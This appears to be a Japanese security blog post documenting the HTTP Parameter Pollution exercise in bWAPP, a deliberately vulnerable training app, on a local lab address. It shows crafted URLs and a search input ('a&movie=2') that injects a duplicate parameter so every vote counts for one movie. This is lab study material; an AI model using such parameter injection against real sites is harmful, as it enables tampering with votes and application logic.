shikata ga nai

Private? There is no such things.

bWAPPでOther bugs-HTTP Parameter Pllutionをやってみた

Hello there, ('ω')ノ

 

なぜかまだ、HTTP Parameter Pllutionをやっていなかったようで。

 

f:id:ThisIsOne:20210719181347p:plain

 

まずは、検索キーを入力して動作確認を。

 

f:id:ThisIsOne:20210719182610p:plain

 

検索結果とパラメータを確認して。

 http://192.168.0.12/bWAPP/hpp-2.php?name=a&action=vote

 

f:id:ThisIsOne:20210719182700p:plain

 

G.I. Joe: RetaliationをVoteすると下記のパラメータが追加されて。

 http://192.168.0.12/bWAPP/hpp-3.php?movie=1&name=a&action=vote

 

f:id:ThisIsOne:20210719182745p:plain

 

ここで、同じパラメータを追加するとIron ManをVoteしたことになって。

 http://192.168.0.12/bWAPP/hpp-3.php?movie=1&name=a&action=vote&movie=2

 

f:id:ThisIsOne:20210719182850p:plain

 

次にパラメータを含んだ検索キーで検索してみると。

 a&movie=2

 

f:id:ThisIsOne:20210719184216p:plain

 

下記のようにURLにパラメータが追加されて。

 http://192.168.0.12/bWAPP/hpp-2.php?name=a%26movie%3D2&action=vote

 

f:id:ThisIsOne:20210719183208p:plain

 

G.I. Joe: RetaliationをVoteしても選択されたパラメータの後方で。

movie=2で上書きされるので、Iron ManをVoteしたことになって。

 http://192.168.0.12/bWAPP/hpp-3.php?movie=1&name=a&movie=2&action=vote

 

f:id:ThisIsOne:20210719183541p:plain

 

Man of SteelをVoteしてもIron ManをVoteしたことになって。

 http://192.168.0.12/bWAPP/hpp-3.php?movie=3&name=a&movie=2&action=vote

 

f:id:ThisIsOne:20210719183609p:plain

 

Best regards, (^^ゞ

ひとりひとりの自覚をもった行動で、医療従事者と保健所職員を助けよう。

f:id:ThisIsOne:20200404115457p:plain